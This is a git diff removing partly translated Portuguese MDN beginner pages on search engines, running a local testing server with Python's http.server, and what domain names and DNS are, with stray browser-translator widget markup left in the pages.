-<p>There are plenty out there: <a href="https://www.google.com/">Google</a>, <a href="https://www.bing.com/">Bing</a>, <a href="https://www.yandex.com/">Yandex</a>, <a href="https://duckduckgo.com/">DuckDuckGo</a>, and many more. Some are generic, some are specialized about certain topics. Use whichever you prefer.</p>
-
-<p>Many beginners on the web confuse search engines and browsers. Let's make it clear: A <em><strong>browser</strong></em> is a piece of software that retrieves and displays web pages; a <strong><em>search engine</em></strong> is a website that helps people find web pages from other websites. The confusion arises because, the first time someone launches a browser, the browser displays a search engine's homepage. This makes sense, because, obviously, the first thing you want to do with a browser is to find a web page to display. Don't confuse the infrastructure (e.g., the browser) with the service (e.g., the search engine). The distinction will help you quite a bit, but even some professionals speak loosely, so don't feel anxious about it.</p>
-
-<p>Here is an instance of Firefox showing a Google search box as its default startup page:</p>
-
-<p><img alt="Example of Firefox nightly displaying a custom Google page as default" src="https://mdn.mozillademos.org/files/8533/search-engine.jpg" style="display: block; height: 399px; margin: 0px auto; width: 650px;"></p>
-
-<h2 id="Passos_Seguintes">Passos Seguintes</h2>
-
-<ul>
- <li>Dig deeper: <a href="/en-US/docs/Learn/What_is_a_web_server">What is a web server</a></li>
- <li>See how web pages are linked into a web site: <a href="/en-US/docs/Learn/Understanding_links_on_the_web">Understanding links on the web</a></li>
-</ul>
diff --git a/files/pt-pt/learn/common_questions/set_up_a_local_testing_server/index.html b/files/pt-pt/learn/common_questions/set_up_a_local_testing_server/index.html
deleted file mode 100644
index ff782a93fb..0000000000
--- a/files/pt-pt/learn/common_questions/set_up_a_local_testing_server/index.html
+++ /dev/null
@@ -1,183 +0,0 @@
----
-title: Como configurar um servidor local de testes?
-slug: Learn/Common_questions/set_up_a_local_testing_server
-tags:
- - Aprender
- - Nodo
- - PHP
- - Principiante
- - Python
- - django
- - servidores
-translation_of: Learn/Common_questions/set_up_a_local_testing_server
-original_slug: Learn/Questoes_comuns/Congiurar_um_servidor_de_testes_local
----
-<div class="summary">
-<p>Este artigo explica como configurar um servidor de testes local simples  na sua máquina, e como o utilizar.</p>
-</div>
-
-<table class="learn-box standard-table">
- <tbody>
- <tr>
- <th scope="row">Pré-requisitos:</th>
- <td>pprimeiro, precisa de saber <a href="/pt-PT/docs/Learn/Questoes_comuns/Como_e_que_funciona_a_Internet">como é que a Internet funciona</a>, e o <a href="/pt-PT/docs/Learn/Questoes_comuns/O_que_e_um_servidor_da_Web">que é um servidor da Web</a>.</td>
- </tr>
- <tr>
- <th scope="row">Objetivo:</th>
- <td>You will learn how to set up a local testing server.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Ficheiros_locais_vs._ficheiros_remotos">Ficheiros locais vs. ficheiros remotos</h2>
-
-<p>Throughout most of the learning area, we tell you to just open your examples directly in a browser — this can be done by double clicking the HTML file, dragging and dropping it into the browser window, or choosing <em>File</em> &gt; <em>Open...</em> and navigating to the HTML file. There are many ways to achieve this.</p>
-
-<p>If the web address path starts with <code>file://</code> followed by the path to the file on your local hard drive, a local file is being used. In contrast, if you view one of our examples hosted on GitHub (or an example on some other remote server), the web address will start with <code>http://</code> or <code>https://</code>, to show that the file has been received via HTTP.</p>
-
-<h2 id="O_problema_com_o_teste_de_ficheiros_locais">O problema com o teste de ficheiros locais</h2>
-
-<p>Some examples won't run if you open them as local files. This can be due to a variety of reasons, the most likely being:</p>
-
-<ul>
- <li><strong>They feature asynchronous requests</strong>. Some browsers (including Chrome) will not run async requests (see <a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Fetching_data">Fetching data from the server</a>) if you just run the example from a local file. This is because of security restrictions (for more on web security, read <a href="/en-US/docs/Learn/Server-side/First_steps/Website_security">Website security</a>).</li>
- <li><strong>They feature a server-side language</strong>. Server-side languages (such as PHP or Python) require a special server to interpret the code and deliver the results.</li>
-</ul>
-
-<h2 id="Executar_um_servidor_um_servidor_local_de_HTTP_simples">Executar um servidor um servidor local de HTTP simples</h2>
-
-<p>To get around the problem of async requests, we need to test such examples by running them through a local web server. One of the easiest ways to do this for our purposes is to use Python's <code>SimpleHTTPServer</code> module.</p>
-
-<p>To do this:</p>
-
-<ol>
- <li>
- <p>Install Python. If you are using Linux or Mac OS X, it should be available on your system already. If you are a Windows user, you can get an installer from the Python homepage and follow the instructions to install it:</p>
-
- <ul>
- <li>Go to <a href="https://www.python.org/">python.org</a></li>
- <li>Under the Download section, click the link for Python "3.xxx".</li>
- <li>At the bottom of the page, choose the <em>Windows x86 executable installer</em> and download it.</li>
- <li>When it has downloaded, run it.</li>
- <li>On the first installer page, make sure you check the "Add Python 3.xxx to PATH" checkbox.</li>
- <li>Click <em>Install</em>, then click <em>Close</em> when the installation has finished.</li>
- </ul>
- </li>
- <li>
- <p>Open your command prompt (Windows)/terminal (OS X/Linux). To check Python is installed, enter the following command:</p>
-
- <pre class="brush: bash">python -V</pre>
- </li>
- <li>
- <p>This should return a version number. If this is OK, navigate to the directory that your example is inside, using the <code>cd</code> command.</p>
-
- <pre class="brush: bash"># include the directory name to enter it, for example
-cd Desktop
-# use two dots to jump up one directory level if you need to
-cd ..</pre>
- </li>
- <li>
- <p>Enter the command to start up the server in that directory:</p>
-
- <pre class="brush: bash"># If Python version returned above is 3.X
-python -m http.server
-# If Python version returned above is 2.X
-python -m <code>SimpleHTTPServer</code></pre>
- </li>
- <li>
- <p>By default, this will run the contents of the directory on a local web server, on port 8000. You can go to this server by going to the URL <code>localhost:8000</code> in your web browser. Here you'll see the contents of the directory listed — click the HTML file you want to run.</p>
- </li>
-</ol>
-
-<div class="note">
-<p><strong>Note</strong>: If you already have something running on port 8000, you can choose another port by running the server command followed by an alternative port number, e.g. <code>python -m http.server 7800</code> (Python 3.x) or <code>python -m SimpleHTTPServer 7800</code> (Python 2.x). You can then access your content at <code>localhost:7800</code>.</p>
-</div>
-
-<h2 id="Running_server-side_languages_locally">Running server-side languages locally</h2>
-
-<p>Python's <code>SimpleHTTPServer</code> module is useful, but it doesn't know how to run code written in languages such as PHP or Python. To handle that you'll need something more — exactly what you'll need depends on the server-side language you are trying to run. Here are a few examples:</p>
-
-<ul>
- <li>To run Python server-side code, you'll need to use a Python web framework. You can find out how to use the Django framework by reading <a href="/en-US/docs/Learn/Server-side/Django">Django Web Framework (Python)</a>. <a href="http://flask.pocoo.org/">Flask</a> is also a good (slightly less heavyweight) alternative to Django. To run this you'll need to <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/development_environment#Installing_Python_3">install Python/PIP</a>, then install Flask using <code>pip3 install flask</code>. At this point you should be able to run the Python Flask examples using for example <code>python3 python-example.py</code>, then navigating to <code>localhost:5000</code> in your browser.</li>
- <li>To run Node.js (JavaScript) server-side code, you'll need to use raw node or a framework built on top of it. Express is a good choice — see <a href="/en-US/docs/Learn/Server-side/Express_Nodejs">Express Web Framework (Node.js/JavaScript)</a>.</li>
- <li>To run PHP server-side code, you'll need a server setup that can interpret PHP. Good options for local PHP testing are <a class="external external-icon" href="https://www.mamp.info/en/downloads/">MAMP</a> (Mac and Windows) , <a class="external external-icon" href="http://ampps.com/download">AMPPS</a> (Mac, Windows, Linux) and <a href="https://www.linux.com/learn/easy-lamp-server-installation">LAMP</a> (Linux, Apache, MySQL, and PHP/Python/Perl). These are complete packages that create local setups to allow you to run the Apache server, PHP, and MySQL databases.</li>
-</ul>
-
-<div id="SL_balloon_obj" style="display: block;">
-<div class="SL_ImTranslatorLogo" id="SL_button" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%; opacity: 0; display: block; left: -8px; top: -25px; transition: visibility 2s ease 0s, opacity 2s linear 0s;"> </div>
-
-<div id="SL_shadow_translation_result2" class="hidden"> </div>
-
-<div id="SL_shadow_translator">
-<div id="SL_planshet">
-<div id="SL_arrow_up" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_Bproviders">
-<div class="SL_BL_LABLE_ON" id="SL_P0" title="Google">G</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P1" title="Microsoft">M</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P2" title="Translator">T</div>
-</div>
-
-<div id="SL_alert_bbl">
-<div id="SLHKclose" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_alert_cont"> </div>
-</div>
-
-<div id="SL_TB">
-<table id="SL_tables">
- <tbody><tr>
- <td class="SL_td"><input></td>
- <td class="SL_td"><select><option value="auto">Detectar idioma</option><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_switch_b" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Alternar Idiomas"> </div>
- </td>
- <td class="SL_td"><select><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option selected value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_TTS_voice" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ouça"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_copy" id="SL_copy" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Copiar"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_font_patch"> </div>
-
- <div class="SL_bbl_font" id="SL_bbl_font" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Tamanho da fonte"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_help" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ajuda"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_pin_off" id="SL_pin" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Fixar a janela de pop-up"> </div>
- </td>
- </tr>
-</tbody></table>
-</div>
-</div>
-
-<div id="SL_shadow_translation_result"> </div>
-
-<div class="SL_loading" id="SL_loading" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_player2"> </div>
-
-<div id="SL_alert100">A função de fala é limitada a 200 caracteres</div>
-
-<div id="SL_Balloon_options" style="background: rgb(255, 255, 255) repeat scroll 0% 0%;">
-<div id="SL_arrow_down" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<table id="SL_tbl_opt" style="width: 100%;">
- <tbody><tr>
- <td><input></td>
- <td>
- <div id="SL_BBL_IMG" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Mostrar o botão do ImTranslator 3 segundos"> </div>
- </td>
- <td><a class="SL_options" title="Mostrar opções">Opções</a> : <a class="SL_options" title="Histórico de tradução">Histórico</a> : <a class="SL_options" title="Comentários">Comentários</a> : <a class="SL_options" href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;hosted_button_id=GD9D8CPW8HFA2" title="Faça sua contribuição">Donate</a></td>
- <td><span id="SL_Balloon_Close" title="Encerrar">Encerrar</span></td>
- </tr>
-</tbody></table>
-</div>
-</div>
-</div>
diff --git a/files/pt-pt/learn/common_questions/what_is_a_domain_name/index.html b/files/pt-pt/learn/common_questions/what_is_a_domain_name/index.html
deleted file mode 100644
index 2aa82b66be..0000000000
--- a/files/pt-pt/learn/common_questions/what_is_a_domain_name/index.html
+++ /dev/null
@@ -1,235 +0,0 @@
----
-title: O que é um nome de domíno?
-slug: Learn/Common_questions/What_is_a_domain_name
-tags:
- - Infraestrutura
- - Introdução
- - Nomes de domínio
- - Principiante
- - Web
-translation_of: Learn/Common_questions/What_is_a_domain_name
-original_slug: Learn/Questoes_comuns/O_que_e_um_nome_de_dominio
----
-<div class="summary">
-<p>In this article we discuss domain names: what they are, how they are structured, and how to get one.</p>
-</div>
-
-<table class="learn-box standard-table">
- <tbody>
- <tr>
- <th scope="row">Pré-requisitos:</th>
- <td>First you need to know <a href="/en-US/docs/Learn/How_the_Internet_works">how the Internet works</a> and understand <a href="/en-US/Learn/Understanding_URLs">what URLs are</a>.</td>
- </tr>
- <tr>
- <th scope="row">Objetivo:</th>
- <td>Learn what domain names are, how they work, and why they are important.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Resumo">Resumo</h2>
-
-<p><span class="seoSummary">Domain names are a key part of the Internet infrastructure. They provide a human-readable address for any web server available on the Internet.</span></p>
-
-<p>Any Internet-connected computer can be reached through a public {{Glossary("IP")}} Address, which consists of 32 bits for IPv4 (they are usually written as four numbers between 0 and 255, separated by dots (e.g., <code>173.194.121.32</code>) or which consists of 128 bits for IPv6 (they are usually written as eight groups of 4 hexadecimal numbers, separated by colons (e.g., <code>2027:0da8:8b73:0000:0000:8a2e:0370:1337</code>). Computers can handle those addresses easily, but people have a hard time finding out who's running the server or what service the website offers. IP addresses are hard to remember and might change over time. To solve all those problems we use human-readable addresses called domain names.</p>
-
-<h2 id="Aprendizagem_Ativa">Aprendizagem Ativa</h2>
-
-<p><em>There is no active learning available yet. <a href="/en-US/docs/MDN/Getting_started">Please, consider contributing</a>.</em></p>
-
-<h2 id="Deeper_dive">Deeper dive</h2>
-
-<h3 id="Estrutura_dos_nomes_de_domínio">Estrutura dos nomes de domínio</h3>
-
-<p>A domain name has a simple structure made of several parts (it might be one part only, two, three...), separated by dots and<strong> read from right to left</strong>:</p>
-
-<p><img alt="Anatomy of the MDN domain name" src="https://mdn.mozillademos.org/files/11229/structure.png" style="height: 76px; width: 252px;"></p>
-
-<p>Each of those  parts provides specific information about the whole domain name.</p>
-
-<dl>
- <dt>{{Glossary("TLD")}} (Top-Level Domain).</dt>
- <dd>The TLD provides the most generic information. TLDs tell users the general purpose of the service behind the domain name. The most generic TLDs (.com, .org, .net) don't require web services to meet strict criteria, but some TLDs enforce stricter policies. For example, local TLDs such as .us, .fr, or .sh can require the service to be provided in a given language or hosted in a certain country.</dd>
- <dt>Label (or component)</dt>
- <dd>The labels are what follow the TLD. A label can be anything, from one letter to a full sentence. The label located right before the TLD can also be referred as a <em>Secondary Level Domain</em> (SLD). A domain name can have many labels (or components), it is not mandatory nor necessary to have 3 labels to form a domain name. For instance, www.inf.ed.ac.uk is a correct domain name. When controlling the "upper" part of a domain name (e.g. <a href="https://mozilla.org">mozilla.org</a>), one can create other domain names (sometimes called "subdomains") (e.g. <a href="https://developer.mozilla.org">developer.mozilla.org</a>).</dd>
-</dl>
-
-<h3 id="Comprar_um_nome_de_domínio">Comprar um nome de domínio</h3>
-
-<h4 id="Who_owns_a_domain_name">Who owns a domain name?</h4>
-
-<p>You cannot “buy a domain name”. You pay for the right to use a domain name for one or more years. You can renew your right, and your renewal has priority over other people's applications. But you never own the domain name.</p>
-
-<p>Companies called registrars use domain name registries to keep track of technical and administrative information connecting you to your domain name.</p>
-
-<div class="note">
-<p><strong>Nota : </strong>For some domain name, it might not be a registrar which is in charge of keeping track. For instance, every domain name under .fire is managed by Amazon.</p>
-</div>
-
-<h4 id="Encontrar_um_nome_de_domínio_disponível">Encontrar um nome de domínio disponível</h4>
-
-<p>To find out whether a given domain name is available,</p>
-
-<ul>
- <li>Go to a domain name registrar's website. Most of them provide a “whois” service that tells you whether a domain name is available.</li>
- <li>Alternatively, if you use a system with a built-in shell, type a <code>whois</code> command into it, as shown here for <code>mozilla.org</code>:</li>
-</ul>
-
-<pre>$ whois mozilla.org
-Domain Name:MOZILLA.ORG
-Domain ID: D1409563-LROR
-Creation Date: 1998-01-24T05:00:00Z
-Updated Date: 2013-12-08T01:16:57Z
-Registry Expiry Date: 2015-01-23T05:00:00Z
-Sponsoring Registrar:MarkMonitor Inc. (R37-LROR)
-Sponsoring Registrar IANA ID: 292
-WHOIS Server:
-Referral URL:
-Domain Status: clientDeleteProhibited
-Domain Status: clientTransferProhibited
-Domain Status: clientUpdateProhibited
-Registrant ID:mmr-33684
-Registrant Name:DNS Admin
-Registrant Organization:Mozilla Foundation
-Registrant Street: 650 Castro St Ste 300
-Registrant City:Mountain View
-Registrant State/Province:CA
-Registrant Postal Code:94041
-Registrant Country:US
-Registrant Phone:+1.6509030800
-</pre>
-
-<p>As you can see, I can't register <code>mozilla.org</code> because the Mozilla Foundation has already registered it.</p>
-
-<p>On the other hand, let's see if I could register <code>afunkydomainname.org</code>:</p>
-
-<pre>$ whois afunkydomainname.org
-NOT FOUND
-</pre>
-
-<p>As you can see, the domain does not exist in the <code>whois</code> database (at the time of writing), so we could ask to register it. Good to know!</p>
-
-<h4 id="Obter_um_nome_de_domínio">Obter um nome de domínio</h4>
-
-<p>The process is quite straightforward:</p>
-
-<ol>
- <li>Go to a registrar's website.</li>
- <li>Usually there is a prominent “Get a domain name” call to action. Click on it.</li>
- <li>Fill out the form with all required details. Make sure especially that you have not misspelled your desired domain name. Once it's paid for, it's too late!</li>
- <li>The registrar will let you know when the domain name is properly registered. Within a few hours, all DNS servers will have received your DNS information.</li>
-</ol>
-
-<div class="note">
-<p><strong>Nota:</strong> In this process the registrar asks you for your real-world address. Make sure you fill it properly, since in some countries registrars may be forced to close the domain if they cannot provide a valid address.</p>
-</div>
-
-<h4 id="Atualizar_DNS">Atualizar DNS</h4>
-
-<p>DNS databases are stored on every DNS server worldwide, and all these servers refer to a few ones called “authoritative name server” or “top-level DNS servers.” Whenever your registrar creates or updates any information for a given domain, the information must be refreshed in every DNS database. Each DNS server that knows about a given domain stores the information for some time before it is automatically invalidated and then refreshed (the DNS server queries an authoritative server again). Thus, it takes some time for DNS servers that know about this domain name to get the up-to-date information.</p>
-
-<div class="note">
-<p><strong>Nota :</strong> This time is often called <strong>propagation time</strong>. However this term is not precise since the update is not propagating itself (top → down). DNS servers queried by your computer (down) are the ones that fetch the information from the authoritative server (top) when they need it.</p>
-</div>
-
-<h3 id="Como_funciona_um_pedido_de_DNS">Como funciona um pedido de DNS?</h3>
-
-<p>As we already saw, when you want to display a webpage in your browser it's easier to type a domain name than an IP address. Let's take a look at the process:</p>
-
-<ol>
- <li>Type <code>mozilla.org</code> in your browser's location bar.</li>
- <li>Your browser asks your computer if it already recognizes the IP address identified by this domain name (using a local DNS cache). If it does, the name is translated to the IP address and the browser negotiates contents with the web server. End of story.</li>
- <li>If your computer does not know which IP is behind the <code>mozilla.org</code> name, it goes on to ask a DNS server, whose job is precisely to tell your computer which IP address matches each registered domain name.</li>
- <li>Now that the computer knows the requested IP address, your browser can negotiate contents with the web server.</li>
-</ol>
-
-<p><img alt="Explanation of the steps needed to obtain the result to a DNS request" src="https://mdn.mozillademos.org/files/8961/2014-10-dns-request2.png" style="height: 702px; width: 544px;"></p>
-
-<h2 id="Passos_seguintes">Passos seguintes</h2>
-
-<p>Okay, we talked a lot about processes and architecture. Time to move on.</p>
-
-<ul>
- <li>If you want to get hands-on, it's a good time to start digging into design and explore <a href="/en-US/Learn/Anatomy_of_a_web_page">the anatomy of a web page</a>.</li>
- <li>It's also worth noting that some aspects of building a website cost money. Please refer to <a href="/en-US/docs/Learn/How_much_does_it_cost">how much it costs to build a web site</a>.</li>
- <li>Or read more about <a href="http://en.wikipedia.org/wiki/Domain_name">Domain Name</a> on Wikipedia.</li>
-</ul>
-
-<div id="SL_balloon_obj" style="display: block;">
-<div class="SL_ImTranslatorLogo" id="SL_button" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%; opacity: 0; display: block; left: -8px; top: -25px; transition: visibility 2s ease 0s, opacity 2s linear 0s;"> </div>
-
-<div id="SL_shadow_translation_result2" class="hidden"> </div>
-
-<div id="SL_shadow_translator" class="hidden">
-<div id="SL_planshet">
-<div id="SL_arrow_up" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_Bproviders">
-<div class="SL_BL_LABLE_ON" id="SL_P0" title="Google">G</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P1" title="Microsoft">M</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P2" title="Translator">T</div>
-</div>
-
-<div id="SL_alert_bbl" class="hidden">
-<div id="SLHKclose" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_alert_cont"> </div>
-</div>
-
-<div id="SL_TB">
-<table id="SL_tables">
- <tbody><tr>
- <td class="SL_td"><input></td>
- <td class="SL_td"><select><option value="auto">Detectar idioma</option><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_switch_b" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Alternar Idiomas"> </div>
- </td>
- <td class="SL_td"><select><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option selected value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option 